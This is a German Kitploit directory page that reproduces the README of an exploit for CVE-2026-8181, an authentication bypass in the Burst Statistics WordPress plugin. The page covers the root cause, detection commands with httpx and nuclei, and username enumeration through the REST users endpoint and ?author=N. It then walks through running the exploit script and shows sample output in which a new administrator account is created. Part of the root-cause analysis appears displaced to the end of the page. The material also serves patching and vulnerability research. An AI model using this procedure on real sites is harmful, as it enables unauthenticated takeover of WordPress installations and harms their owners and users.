Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-8181 — Exploit für CVE-2026-8181 – Umgehung der Authentifizierung im Burst Statistics WordPress Plugin | Kitploit
Tools/GitHubGitHub/whattheslime/cve-2026-8181
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungRed Teaming
GitHubwhattheslime/cve-2026-8181

CVE-2026-8181

Exploit für CVE-2026-8181 – Umgehung der Authentifizierung im Burst Statistics WordPress Plugin

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Exploit für CVE-2026-8181

Burst Statistics WordPress Plugin — Authentifizierungsumgehung zur Eskalation von Administratorrechten

Exploit für CVE-2026-8181, entdeckt von Chloe Chamberland und PRISM.

⚠️ Haftungsausschluss

Dieses Repository wird ausschließlich für Forschungs- und Verteidigungszwecke bereitgestellt. Der Autor übernimmt keine Verantwortung für den Missbrauch dieser Informationen.


📌 Überblick

Das Plugin Burst Statistics – Privacy-Friendly WordPress Analytics für WordPress ist in den Versionen 3.4.0 bis 3.4.1.1 anfällig für eine Umgehung der Authentifizierung, die zur Eskalation von Administratorrechten führt.

Die Schwachstelle befindet sich in der Methode is_mainwp_authenticated() des MainWP-Proxys des Plugins, die fälschlicherweise jeden Rückgabewert von wp_authenticate_application_password(), der kein WP_Error ist, als erfolgreiche Authentifizierung behandelt.

Dadurch können sich nicht authentifizierte Angreifer, die einen gültigen Administrator-Benutzernamen kennen, für die Dauer einer beliebigen REST-API-Anfrage als diesen Administrator ausgeben, einschließlich WordPress-Core-Endpunkten wie POST /wp-json/wp/v2/users. Die Zugangsdaten des vorhandenen Administrators werden dabei nie kompromittiert, aber der Angreifer erlangt dessen Rechte lange genug, um ein brandneues Administratorkonto zu erstellen.


🔬 Root-Cause-Analyse

Die Schwachstellenkette ist wie folgt:

  1. includes/class-burst.php:41 -> Das Plugin registriert init() bei plugins_loaded mit Priorität 9; diese Funktion führt bootstrap() aus und ruft für jede Anfrage (einschließlich REST) has_admin_access() auf.

  2. includes/Traits/trait-admin-helper.php:202 -> Wenn die Anfrage den Header X-BurstMainWP: 1 trägt, instanziiert has_admin_access() MainWP_Proxy und delegiert die Authentifizierung an is_mainwp_authenticated().

  3. includes/Frontend/class-mainwp-proxy.php:314 -> Die Methode liest den Authorization-Header, dekodiert die Basic-Credentials und leitet den vom Angreifer bereitgestellten / das an die -Funktion des WordPress-Cores weiter.

Eine einzelne HTTP-Anfrage mit einem gefälschten Passwort reicht daher aus, um sich auf der Ebene der WordPress-Core-REST-API als einen beliebigen Administrator auszugeben.


🔎 Erkennung der Plugin-Installation

  1. Aktives Plugin — Das HTML der Homepage referenziert dessen Assets nur, wenn das Plugin eingebunden ist:

    root@kitploit:~
    echo http://127.0.0.1:8000 | httpx -silent -mr '/wp-content/plugins/burst-statistics/'
    
  2. Version — readme.txt wird statisch ausgeliefert und gibt die installierte Version preis (verwundbar: 3.4.0–3.4.1.1, gepatcht: 3.4.2+):

    root@kitploit:~
    echo http://127.0.0.1:8000 | httpx -silent -path /wp-content/plugins/burst-statistics/readme.txt -er 'Stable tag:\s*[0-9][0-9a-zA-Z.\-]*'
    

Die mitgelieferte CVE-2026-8181.yaml-Vorlage für nuclei automatisiert beide Prüfungen und den Versionsvergleich:

root@kitploit:~
nuclei -t CVE-2026-8181.yaml -u http://127.0.0.1:8000

🎯 Ausnutzung

Sobald eine verwundbare Version des Plugins erkannt wurde, erfordert die Ausnutzung die Kenntnis eines gültigen Administrator-Benutzernamens. Die REST-API von WordPress gibt auf den meisten Installationen Benutzernamen über den öffentlichen Benutzer-Endpunkt preis:

root@kitploit:~
echo http://127.0.0.1:8000 | httpx -silent -path '/wp-json/wp/v2/users' -er '"slug":"[^"]+"'

Wenn dieser Endpunkt abgesichert ist (z. B. durch Disable REST API oder Stop User Enumeration), gibt der Autor-Archiv-Trick (/?author=N) den Benutzernamen für gewöhnlich weiterhin über die Weiterleitung zu /author/<username>/ preis.

Mit einem gültigen Benutzernamen erstellt der Exploit in einer einzigen Anfrage ein neues Administratorkonto:

  1. Python-Abhängigkeiten installieren:

    root@kitploit:~
    python3 -m venv venv
    venv/bin/pip install -r requirements.txt
    
  2. Führen Sie den Exploit gegen das Ziel aus und geben Sie mit -u einen bekannten Administrator-Benutzernamen an:

    root@kitploit:~
    venv/bin/python3 CVE-2026-8181.py -t http://127.0.0.1:8000 -u admin
    

    Beispielausgabe:

    root@kitploit:~
    [2026-05-16] [12:20:20] [info] [config] Impersonating admin='admin', will create new admin 'pwn_322a4903' / 'kS8D^2A^P^%UtWyuUS3p8%64' ([email protected]).
    [2026-05-16] [12:20:21] [success] [http://127.0.0.1:8000] Authentication bypass successful — new administrator created: username='pwn_322a4903' password='kS8D^2A^P^%UtWyuUS3p8%64'
    
  3. Melden Sie sich mit dem neu erstellten Administratorkonto bei /wp-admin/ an.


⚠️ Einschränkungen

Der Bypass greift nur, wenn der Authorization-Header PHP über $_SERVER['HTTP_AUTHORIZATION'] erreicht. Bei Apache + mod_php mit einfachen Permalinks (WordPress-Standardkonfiguration) wird keine .htaccess erzeugt und der Header stillschweigend entfernt — der Exploit kann nicht erfolgreich sein.

Durch die Umstellung auf eine nicht-einfache Permalink-Struktur unter Einstellungen → Permalinks veranlasst WordPress 5.6+ das Schreiben der Direktive RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] in die .htaccess, wodurch die Weiterleitung wiederhergestellt wird. Nginx + PHP-FPM und LiteSpeed leiten Authorization standardmäßig unabhängig von den Permalinks weiter. Da sprechende Permalinks in Produktionsumgebungen die SEO-Norm sind, wird diese Schwachstelle mit CVSS 9.8 unauthenticated bewertet.

Der Exploit versucht zuerst /wp-json/wp/v2/users und fällt dann auf /index.php?rest_route=/wp/v2/users zurück, sodass das Endpunkt-Routing nie das Hindernis ist — nur die Header-Weiterleitung.


📚 Referenzen

  • https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/8ca830d6-3d3c-4026-85cd-8447b8a568d3
  • https://www.cve.org/CVERecord?id=CVE-2026-8181
Tool herunterladen
username
password
wp_authenticate_application_password()
  • includes/Frontend/class-mainwp-proxy.php:328-329 -> Der Rückgabewert wird nur mit is_wp_error() geprüft. WordPress-Core gibt den unveränderten $input_user (hier null) zurück, wenn keine Anwendungspasswörter verwendet werden oder wenn die Anfrage nicht als API-Anfrage gekennzeichnet ist. Beim plugins_loaded-Hook mit Priorität 9 hat die REST-API den Filter application_password_is_api_request noch nicht auf true gesetzt, sodass die zweite Bedingung immer erfüllt ist, wenn der verwundbare Code ausgeführt wird — und null ist kein WP_Error, also besteht die Prüfung.

  • includes/Frontend/class-mainwp-proxy.php:336 -> wp_set_current_user( $user->ID ) wird mit dem Benutzer aufgerufen, der ausschließlich anhand des vom Angreifer bereitgestellten Benutzernamens ermittelt wurde, wodurch der global authentifizierte Benutzer für die gesamte Anfrage gesetzt wird.